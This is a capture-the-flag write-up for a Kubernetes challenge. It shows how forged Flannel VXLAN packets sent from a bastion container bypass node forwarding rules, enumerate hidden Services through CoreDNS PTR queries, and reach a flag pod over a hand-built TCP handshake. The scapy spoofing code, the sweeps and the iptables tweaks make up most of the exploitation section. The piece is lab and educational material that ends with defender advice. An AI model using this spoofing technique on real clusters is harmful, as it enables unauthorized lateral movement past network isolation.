> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2026/wiz-cloud-security-challenge/split-horizon.md).

# Split Horizon

### Challenge Description

<figure><img src="/files/5MrwKpexSw43nM9woQLz" alt=""><figcaption></figcaption></figure>

### Table of Contents

* [Challenge Description](#challenge-description)
* [Table of Contents](#table-of-contents)
* [Solution Overview](#solution-overview)
* [Initial Analysis](#initial-analysis)
  * [Bastion Environment](#bastion-environment)
  * [Network Mapping From Node Metadata](#network-mapping-from-node-metadata)
  * [Failed Standard Paths](#failed-standard-paths)
* [Main Exploitation](#main-exploitation)
  * [Asymmetric Routing Through VXLAN](#asymmetric-routing-through-vxlan)
  * [VXLAN-encapsulated DNS](#vxlan-encapsulated-dns)
  * [PTR-sweeping the Service CIDR](#ptr-sweeping-the-service-cidr)
  * [Finding the Backing Pod](#finding-the-backing-pod)
  * [Talking TCP Over VXLAN](#talking-tcp-over-vxlan)
* [Getting the Flag](#getting-the-flag)

### Solution Overview

This challenge is about an overlay-network trust boundary in a Kubernetes lab using Flannel VXLAN:

1. Map node IPs, pod CIDRs, VtepMACs, and cluster DNS from read-only node metadata.
2. Rule out the normal routes: ClusterIP routing, direct pod routing, kubelet access, and NodePorts.
3. Craft VXLAN packets that look like they came from a trusted flannel peer.
4. Query CoreDNS through that asymmetric path and use PTR records to enumerate hidden Services.
5. Talk to the backing pod directly and finish a TCP exchange over VXLAN.

The weakness: the bastion can inject unauthenticated VXLAN packets onto the same underlay network as the k3s nodes. The worker then forwards traffic it would have dropped if it arrived as plain traffic on `eth0`.

### Initial Analysis

#### Bastion Environment

The bastion is a Docker container (`/.dockerenv` present), running Ubuntu 22.04 as root, on a single bridge network:

```
$ ip a s eth0
17: eth0@if18: ...
    inet 172.30.0.5/16 brd 172.30.255.255 scope global eth0

$ cat /etc/resolv.conf
nameserver 127.0.0.11
options ndots:0
```

`127.0.0.11` is Docker's embedded DNS. It's useful for resolving sibling container names, but it forwards unknown queries upstream and the upstream does not know `*.cluster.local`.

**Tooling Pre-installed**

```
$ which kubectl curl dig nslookup nc host getent jq python3 tcpdump
/usr/local/bin/kubectl
/usr/bin/curl
/usr/bin/dig
/usr/bin/nslookup
/usr/bin/nc
/usr/bin/host
/usr/bin/getent
/usr/bin/jq
/usr/bin/python3
/usr/bin/tcpdump

$ ls /usr/local/bin/scapy
/usr/local/bin/scapy
```

That last entry is the giveaway. `scapy` is not a default Ubuntu tool, so somebody put it there on purpose. Whatever the solution is, it's going to involve crafting non-standard packets.

**Kube Credentials**

```
$ cat /root/.kube/config
apiVersion: v1
kind: Config
clusters:
- name: research-lab
  cluster:
    server: https://k3d-research-lab-server-0:6443
    insecure-skip-tls-verify: true
contexts:
- name: bastion@research-lab
  context: { cluster: research-lab, user: bastion-viewer }
users:
- name: bastion-viewer
  user:
    token: eyJhbGciOiJSUzI1NiIs...
```

The token decodes to `system:serviceaccount:kube-system:bastion-viewer`. The cluster is k3d, i.e., k3s running inside Docker containers on the same bridge as us.

**What the ServiceAccount Can Do**

```
$ kubectl auth can-i --list
Resources                                       Non-Resource URLs                      Verbs
selfsubjectreviews.authentication.k8s.io        []                                     [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     [create]
nodes                                           []                                     [get list]
                                                [/api/*, /apis/*, /healthz, ...]       [get]
```

`nodes [get,list]` is the entire Kubernetes view we get. Direct kubelet probes against `:10250` return `403 Forbidden (resource=nodes, subresource=proxy)`.

#### Network Mapping From Node Metadata

`kubectl get nodes -o yaml` gives us more structure:

| Node     | Internal IP | Pod CIDR     | Flannel VtepMAC     | Notable images on node                                 |
| -------- | ----------- | ------------ | ------------------- | ------------------------------------------------------ |
| master-1 | 172.30.0.2  | 10.42.0.0/24 | `72:6c:75:ba:48:cb` | `lab-tools:latest`, `pause`                            |
| worker-1 | 172.30.0.4  | 10.42.1.0/24 | `9e:dd:0e:f3:9b:8e` | `lab-tools:latest`, `mirrored-coredns:1.12.0`, `pause` |
| worker-2 | 172.30.0.3  | 10.42.2.0/24 | `4a:95:90:04:46:ab` | `lab-tools:latest`, `pause`                            |

And from the `k3s.io/node-args` annotation on master-1:

```
["server","--node-name","master-1",
 "--service-cidr","10.43.0.0/16",
 "--cluster-dns","10.43.0.10",
 "--flannel-backend","vxlan",
 "--disable-network-policy",
 "--disable","traefik,metrics-server,servicelb,local-storage", ...]
```

So the topology is:

```mermaid
flowchart TD
    Bridge["Docker bridge<br/>172.30.0.0/16"]
    Gateway["172.30.0.1<br/>Docker host gateway"]
    Master["172.30.0.2<br/>master-1<br/>k3s server, API :6443"]
    Worker2["172.30.0.3<br/>worker-2"]
    Worker1["172.30.0.4<br/>worker-1<br/>CoreDNS image"]
    Bastion["172.30.0.5<br/>bastion (us)"]
    Overlay["Flannel VXLAN<br/>VNI=1 on UDP/8472"]
    ServiceCIDR["Service CIDR<br/>10.43.0.0/16"]
    PodCIDRs["Pod CIDRs<br/>10.42.0.0/24, 10.42.1.0/24, 10.42.2.0/24"]

    Bridge --> Gateway
    Bridge --> Master
    Bridge --> Worker2
    Bridge --> Worker1
    Bridge --> Bastion
    Master -.-> Overlay
    Worker1 -.-> Overlay
    Worker2 -.-> Overlay
    Overlay --> PodCIDRs
    Master --> ServiceCIDR
```

The metadata is the map. We have:

* Every node's IP (the "transport" addresses on the docker bridge)
* Every node's pod-CIDR, so we know which traffic belongs to which node
* Every node's flannel VtepMAC (the overlay-network MAC addresses)
* The VNI (1)
* The cluster DNS service IP (10.43.0.10)

That last column ends up mattering more than it looks.

#### Failed Standard Paths

**Routing Service IPs Through a Node**

The bastion sits on the same docker bridge as all three k3s nodes. So in principle we can do:

```
ip route add 10.43.0.0/16 via 172.30.0.2   # master-1
```

And `dig @10.43.0.10 ...` will now send a UDP packet that hits master-1's eth0. Inside master-1, kube-proxy installs iptables NAT rules in PREROUTING (`KUBE-SERVICES → KUBE-SVC-* → DNAT to a backend pod IP`).

With cluster CIDR source detection, kube-proxy also `KUBE-MARK-MASQ`s the source so the reply traverses back through the same node, and conntrack de-NATs cleanly.

Tested empirically: this works for `10.43.0.1:443` (the `kubernetes` Service):

```
$ tcpdump -nr cap.pcap
05:09:34 IP 172.30.0.5.45521 > 10.43.0.1.443: SYN
05:09:34 IP 10.43.0.1.443 > 172.30.0.5.45521: SYN-ACK   ✓
```

But for `10.43.0.10:53` it dies silently:

```
$ tcpdump -nr cap.pcap
05:26:03 IP 172.30.0.5.45521 > 10.43.0.10.53: SYN [retransmits...]
                                                       (no reply ever)
```

`10.43.0.1` is special. Its endpoints point at the apiserver on the master's host network (172.30.0.2:6443), so the NAT rule is unconditional. For every other ClusterIP service, kube-proxy's rule depends on the Service object existing with endpoints.

I scanned all of `10.43.0.0/16` (65,280 IPs) on UDP/53 and TCP/53,80,443,8080,8443 via three different node routes. Only `10.43.0.1:443` ever responded. So the cluster has effectively no kube-proxy rules other than the one for the apiserver. The CoreDNS Service exists in the API (DNS will prove this in a moment), but kube-proxy isn't programming a rule for it from the bastion's source IP.

**Direct Pod-IP Access**

If kube-proxy won't help, can we hit the pod directly?

```
ip route add 10.42.1.0/24 via 172.30.0.4   # worker-1
ping -c1 10.42.1.2     # silence
```

Pods don't ARP-respond from off-cluster sources. The k3s/flannel `FORWARD` chain on each node is configured to accept traffic that arrives via `flannel.1` (the VXLAN interface) but drop forwarded traffic from a non-cluster source coming in on `eth0`. The bastion's `172.30.0.5` is on the docker bridge, not the cluster CIDR, so anything we send to a pod IP gets dropped on entry.

ICMP sweep across all three pod CIDRs from the bastion:

```
10.42.0.X: 0 responders
10.42.1.X: 1 responder (10.42.1.1, the cni0 bridge IP itself)
10.42.2.X: 1 responder (10.42.2.1, the cni0 bridge IP)
```

Pod IPs are completely shielded.

**Kubelet, API Server Proxy, NodePort, Host-network**

* Kubelet `:10250` accepts our SA token (TokenReview at apiserver works) but every endpoint requires `nodes/proxy` → 403.
* `kubectl get --raw /api/v1/nodes/<n>/proxy/...` → 403.
* A full TCP scan (1-65535) of all three node IPs returned only `:6443` (master only) and `:10250` (all three). No NodePort services, no host-network DNS.
* Docker's embedded DNS at 127.0.0.11 doesn't forward to cluster DNS, so `kubernetes.default.svc.cluster.local` returns NXDOMAIN from the root.

So at this point: every standard path to cluster DNS is closed.

***

### Main Exploitation

#### Asymmetric Routing Through VXLAN

What if the outbound request goes through one path and the inbound reply through a completely different one? A conversation doesn't have to use the same path twice.

The flannel VXLAN overlay works like this between nodes:

```mermaid
flowchart LR
    subgraph NodeA["Node A"]
        PodA["pod<br/>10.42.A.X"]
        CniA["cni0 bridge"]
        FlannelA["flannel.1"]
        PodA --> CniA
        CniA --> FlannelA
    end

    subgraph Transport["Docker bridge transport<br/>eth0 172.30.0.X"]
        VXLAN["VXLAN UDP<br/>port 8472"]
    end

    subgraph NodeB["Node B"]
        FlannelB["flannel.1"]
        CniB["cni0 bridge"]
        PodB["pod<br/>10.42.B.Y"]
        FlannelB --> CniB
        CniB --> PodB
    end

    FlannelA -->|encapsulate| VXLAN
    VXLAN -->|decapsulate| FlannelB
    FlannelB -->|encapsulate| VXLAN
    VXLAN -->|decapsulate| FlannelA
```

Inside the VXLAN UDP payload is a complete inner Ethernet frame: an L2 packet with a flannel-known src VtepMAC and dst VtepMAC, carrying an L3 IP packet between pod IPs. When a node receives a UDP packet on `:8472`, it strips the VXLAN header, looks at the inner Ethernet, and if the dst MAC matches its own VtepMAC, it forwards the inner IP packet onto its `cni0` bridge (i.e., onto the local pod network).

The bastion sits on the same docker bridge as the worker. That means:

1. The bastion can send a properly-formed VXLAN UDP packet to `172.30.0.4:8472` (worker-1).
2. Worker-1 has no way to tell that packet came from us instead of from another node. Flannel uses static FDB entries, not 802.1X or anything authenticated.
3. Worker-1 unwraps it and forwards the inner IP packet to its local `cni0` and on to the CoreDNS pod.
4. CoreDNS sees a query with `src=172.30.0.5` (the bastion) and replies normally.
5. Worker-1 receives the reply on `cni0`, looks up the route to `172.30.0.5`, finds it's directly attached on `eth0` (the docker bridge), and sends the reply out as a plain L3 packet. No VXLAN encapsulation needed.
6. The reply arrives at the bastion as a normal UDP packet from `10.42.1.2:53` to `172.30.0.5:<sport>`.

The conversation does not use the same path twice:

* Outbound: bastion → `172.30.0.4:8472` (UDP/VXLAN-encap) → worker-1's flannel.1 → cni0 → CoreDNS pod
* Inbound: CoreDNS pod → cni0 → worker-1 eth0 → docker bridge → bastion (plain L3, no VXLAN)

Why does this work where direct routing doesn't?

Because the FORWARD chain only drops traffic that arrives on `eth0` from a non-cluster source destined for the cluster. Traffic that arrives via `flannel.1` (i.e., that came in over VXLAN) is trusted and accepted. We're spoofing our packets so they look like they came from another node's flannel overlay.

#### VXLAN-encapsulated DNS

Here's the core scapy primitive. Wrap an inner UDP/53 packet inside VXLAN and send it to worker-1's `:8472`:

```python
import time
from scapy.all import (
    AsyncSniffer, DNS, DNSQR, Ether, ICMP, IP, Raw, TCP, UDP, VXLAN, sendp,
)

bastion_ip   = "172.30.0.5"
bastion_mac  = "02:42:ac:1e:00:05"
worker_ip    = "172.30.0.4"
worker_mac   = "02:42:ac:1e:00:04"
worker_vtep  = "9e:dd:0e:f3:9b:8e"   # from node annotation
master_vtep  = "72:6c:75:ba:48:cb"   # we pretend to be master-1's flannel

def vxlan_dns(pod_ip, qname, qtype="A"):
    inner = (Ether(src=master_vtep, dst=worker_vtep) /
             IP(src=bastion_ip, dst=pod_ip) /
             UDP(sport=44444, dport=53) /
             DNS(rd=1, qd=DNSQR(qname=qname, qtype=qtype)))
    return (Ether(dst=worker_mac, src=bastion_mac) /
            IP(src=bastion_ip, dst=worker_ip) /
            UDP(sport=33333, dport=8472) /
            VXLAN(vni=1, flags=0x08) /
            inner)
```

We don't know the CoreDNS pod IP yet, but we know it's somewhere in `10.42.1.0/24`, because the CoreDNS image was only pulled to worker-1 (the node metadata told us that). So we sweep:

```python
for podip in (f"10.42.1.{i}" for i in range(2, 30)):
    sendp(vxlan_dns(podip, "kubernetes.default.svc.cluster.local"), iface="eth0")
```

And we packet-capture in parallel. The result:

```
05:12:53.342323 IP 172.30.0.5.33333 > 172.30.0.4.8472: OTV, flags [I] (0x08), overlay 0, instance 1
                IP 172.30.0.5.44444 > 10.42.1.2.53: 0+ A? kubernetes.default.svc.cluster.local. (54)
05:12:53.342909 IP 10.42.1.2.53 > 172.30.0.5.44444: 0*- 1/0/0 A 10.43.0.1 (106)
05:12:53.342943 IP 172.30.0.5 > 10.42.1.2: ICMP 172.30.0.5 udp port 44444 unreachable
```

CoreDNS at `10.42.1.2` resolved `kubernetes.default.svc.cluster.local` → `10.43.0.1`. The asymmetric path works. The trailing ICMP "port unreachable" is the bastion's kernel rejecting the reply because no socket is bound to UDP/44444. We suppress that with:

```
iptables -I OUTPUT -p icmp --icmp-type port-unreachable -j DROP
```

…otherwise CoreDNS would interpret it as the client closing and stop responding to repeated queries.

#### PTR-sweeping the Service CIDR

Now we have arbitrary cluster-DNS access. PTR queries against cluster IPs let us enumerate services we can't list via the API: the CoreDNS Kubernetes plugin auto-populates reverse zones for the entire service CIDR.

```python
answers = []
def record_dns(packet):
    answers.append(packet)

sniffer = AsyncSniffer(
    iface="eth0",
    filter="udp and src host 10.42.1.2 and src port 53",
    prn=record_dns,
    store=False,
)
sniffer.start()

coredns_ip = "10.42.1.2"

for i in range(1, 51):
    qname = f"{i}.0.43.10.in-addr.arpa"           # PTR for 10.43.0.{i}
    sendp(vxlan_dns(coredns_ip, qname, "PTR"), iface="eth0")
```

After the sweep:

```
1.0.43.10.in-addr.arpa  → kubernetes.default.svc.cluster.local
10.0.43.10.in-addr.arpa → kube-dns.kube-system.svc.cluster.local
37.0.43.10.in-addr.arpa → flag-server.target.svc.cluster.local
```

There it is: `flag-server.target.svc.cluster.local` at `10.43.0.37`.

#### Finding the Backing Pod

Trying to reach `10.43.0.37` on every common port via routing through every node returns nothing. The Service object exists (DNS proves it; that's how it has a ClusterIP at all), but kube-proxy isn't installing a NAT rule for it.

This is the "isolated" part of the challenge: the Service's Endpoints have been stripped, or it has `internalTrafficPolicy: Local` with no local backend on any node.

So we need the pod directly, not the Service. We sweep for live pods using the same VXLAN trick, but with ICMP echo this time (cheaper than TCP-syn over many ports):

```python
def vw(seg, inner):
    nip, nmac, nvtep = nodes[seg]
    peer_vtep = nodes[(seg+1) % 3][2]   # any other node's vtep, NOT this one's
    return (Ether(dst=nmac, src=bastion_mac) /
            IP(src=bastion_ip, dst=nip) /
            UDP(sport=33333, dport=8472) /
            VXLAN(vni=1, flags=0x08) /
            Ether(src=peer_vtep, dst=nvtep) / inner)

for seg in (0, 1, 2):
    for podb in range(2, 50):
        sendp(vw(seg, IP(src=bastion_ip, dst=f"10.42.{seg}.{podb}") /
                       ICMP(id=0xbeef, seq=podb)))
```

Sniffer catches:

```
ALIVE_PODS: ['10.42.1.2', '10.42.1.3', '10.42.1.4', '10.42.2.2']
```

Four live pods cluster-wide.

A wide TCP scan of each (again over VXLAN, with random source ports to avoid conntrack collisions) gives:

```
10.42.1.2  : 53, 8080, 8181, 9153   (CoreDNS: DNS, metrics, ready, prometheus)
10.42.1.3  : 8080                    (Python SimpleHTTPServer with .bashrc/.profile)
10.42.1.4  : 31337                   ← leet port. obvious candidate.
10.42.2.2  : (didn't finish scanning; hung scapy session)
```

Port `31337` on a CTF challenge is a strong tell. Time to talk to it.

#### Talking TCP Over VXLAN

UDP/DNS was easy: fire-and-forget. TCP is stateful: SYN, SYN-ACK, ACK, then PSH+ACK with payload, then ACK each incoming segment. All of those have to ride the same VXLAN tunnel outbound, and we have to track the server's sequence numbers from the inbound (plain L3) replies.

To keep the kernel from interfering, two iptables rules are essential:

```
# bastion's kernel will RST any unsolicited SYN-ACK it sees on eth0
iptables -I OUTPUT -p tcp --tcp-flags RST RST -j DROP

# bastion's kernel will ICMP-port-unreachable on UDP without a listening socket
iptables -I OUTPUT -p icmp --icmp-type port-unreachable -j DROP
```

The full handshake-and-GET in scapy:

```python
target = "10.42.1.4"
tport = 31337
sport = 44446

events = []
def handle(p):
    if p.haslayer(TCP) and p[IP].src == target and p[TCP].sport == tport \
                       and p[TCP].dport == sport:
        events.append(p)

sn = AsyncSniffer(iface="eth0",
                  filter=f"tcp and src host {target} and src port {tport}",
                  prn=handle, store=False)
sn.start()

# 1) SYN
seq = 0xCAFE0000
target_seg = 1
sendp(vw(target_seg, IP(src=bastion_ip, dst=target) /
         TCP(sport=sport, dport=tport, flags="S", seq=seq, window=65535)))

# 2) wait for SYN-ACK and learn server's seq
sa = next(p for p in events if int(p[TCP].flags) & 0x12 == 0x12)
sseq = sa[TCP].seq

# 3) ACK
sendp(vw(target_seg, IP(src=bastion_ip, dst=target) /
         TCP(sport=sport, dport=tport, flags="A",
             seq=seq+1, ack=sseq+1, window=65535)))

# 4) PSH+ACK with payload
payload = b"flag\n"
sendp(vw(target_seg, IP(src=bastion_ip, dst=target) /
         TCP(sport=sport, dport=tport, flags="PA",
             seq=seq+1, ack=sseq+1, window=65535) / Raw(payload)))

# 5) ACK incoming data segments to keep the server pushing
collected = b""
last_ack = sseq + 1
deadline = time.time() + 5
while time.time() < deadline:
    for p in sorted(events, key=lambda x: x[TCP].seq):
        if p.haslayer(Raw) and p[TCP].seq == last_ack:
            collected += bytes(p[Raw].load)
            last_ack = p[TCP].seq + len(p[Raw].load)
    sendp(vw(target_seg, IP(src=bastion_ip, dst=target) /
             TCP(sport=sport, dport=tport, flags="A",
                 seq=seq+1+len(payload), ack=last_ack, window=65535)))
    time.sleep(0.4)
```

First connection with no payload:

```
=== input=[] ===
flag input:
```

So it's a prompt-driven service. Sweeping inputs:

```
=== input=[b'\n']           ===   flag input: nope
=== input=[b'help\n']       ===   flag input: nope
=== input=[b'GET\n']        ===   flag input: nope
=== input=[b'diagnostics\n']===   flag input: nope
=== input=[b'?\n']          ===   flag input: nope
=== input=[b'list\n']       ===   flag input: nope

=== input=[b'flag\n'] ===
flag input: WIZ_CTF{packets_take_the_scenic_route}
```

`WIZ_CTF{packets_take_the_scenic_route}`

The flag text says it: packets had to take the scenic route, going out via VXLAN and coming back via plain L3 over the docker bridge.

***

#### Putting It All Together

The end-to-end attack chain:

```mermaid
flowchart TD
    subgraph Bastion["bastion 172.30.0.5"]
        M1["1. kubectl get nodes<br/>IPs, podCIDRs, VtepMACs, CoreDNS image"]
        M2["2. Drop local ICMP port-unreachable and RST packets"]
        M3["3. VXLAN-wrap DNS PTR queries<br/>inner src=172.30.0.5 dst=10.42.1.2"]
        M4["4. PTR sweep finds<br/>flag-server.target.svc = 10.43.0.37"]
        M5["5. ICMP-sweep 10.42.X.0/24 over VXLAN<br/>find live pods"]
        M6["6. TCP SYN sweep<br/>find 10.42.1.4:31337"]
        M7["7. Manual TCP handshake over VXLAN<br/>send flag"]
        M1 --> M2
        M2 --> M3
        M3 --> M4
        M4 --> M5
        M5 --> M6
        M6 --> M7
    end

    subgraph Worker["worker-1 172.30.0.4"]
        Unwrap["eth0 unwraps VXLAN"]
        Cni["flannel.1 to cni0"]
        DNS["10.42.1.2<br/>CoreDNS"]
        Decoy["10.42.1.3<br/>Python SimpleHTTPServer decoy"]
        Flag["10.42.1.4<br/>flag-server TCP/31337"]
        Unwrap --> Cni
        Cni --> DNS
        Cni --> Decoy
        Cni --> Flag
    end

    M3 -->|out: VXLAN UDP/8472| Unwrap
    M7 -->|out: VXLAN TCP packets| Unwrap
    DNS -->|back: plain L3 reply| M4
    Flag -->|back: plain L3 flag response| M7
```

***

#### What Made This Challenge Hard

A few rabbit holes worth documenting because they cost real time:

1. `10.43.0.1:443` works, so why not `10.43.0.10`? Because the `kubernetes` Service has host-network endpoints (apiserver on the master node itself) and is hard-coded into every kube-proxy ruleset. Pod-network services like CoreDNS need their backing pod IPs delivered via flannel, and kube-proxy here wasn't programming a rule for them from our source IP. The correct mental model is "kube-proxy rules exist when endpoints exist, and internalTrafficPolicy permits the source." Don't trust that the default service IP responds.
2. Pod IPs respond to nothing from off-cluster sources. Even with a route via the right node, the FORWARD chain drops anything that arrives on eth0 from a non-cluster-CIDR source destined for a pod IP. Spoofing the source IP doesn't help because the reply path then loses you. The only way through is to make the packet appear to arrive on `flannel.1`, which is what VXLAN encapsulation does.
3. `scapy.sr1()` filters replies by 5-tuple match and silently drops anything that doesn't match. That includes the first valid CoreDNS reply, which arrives with `src=10.42.1.2:53` instead of `src=10.43.0.10:53` because no NAT happened on the return path. The fix is `AsyncSniffer` with a coarse BPF filter and manual reassembly.
4. `tcpdump -c N` doesn't print until N packets arrive, which made the early "is the reply ever coming back?" debugging look like a failure when it wasn't. Use `-U` (unbuffered) and a longer time bound.
5. k3s with `--disable-network-policy` means there's no Calico/Cilium/etc. dropping our overlay packets, and the embedded kube-proxy uses iptables in default mode. This is what makes the asymmetric trick clean. A hardened production cluster with NetworkPolicy and source verification (`rp_filter=strict` on flannel.1, eBPF source-IP enforcement) would block the spoof.

***

#### Real-world Relevance

This isn't a contrived puzzle. It's a real Kubernetes exposure pattern, and the challenge author calls it out as such. A few takeaways for defenders:

* Same-network bastions are dangerous. A read-only ServiceAccount looks toothless in the Kubernetes API, but the bastion shares the Docker / overlay underlay with the nodes. That network position is the real attack surface. Layer 2/3 segmentation matters as much as layer 7 policy here.
* Flannel's default trust model assumes peers. Static FDB plus no source-IP enforcement means anyone on the underlying transport can speak the overlay. Switching to a CNI that authenticates VXLAN peers (WireGuard-mode flannel, Cilium with WG/IPSec, Calico with IPIP+IPSec) closes this hole.
* DNS reverse zones leak service inventory. CoreDNS's `kubernetes` plugin auto-publishes PTR records for every Service in the cluster. If you actually want to hide a Service, denying API discovery isn't enough; you also need to scope down DNS access (NetworkPolicy on CoreDNS, or remove it from the reverse zone).

Summary:

1. Node metadata exposed enough underlay and overlay information to build packets manually.
2. Direct service and pod routes failed because kube-proxy and node forwarding rules did not trust the bastion path.
3. Forged VXLAN made the request enter through `flannel.1`, where worker forwarding rules trusted it.
4. DNS PTR records revealed the hidden Service, and a direct pod TCP exchange returned the flag.

Flag: `WIZ_CTF{packets_take_the_scenic_route}`
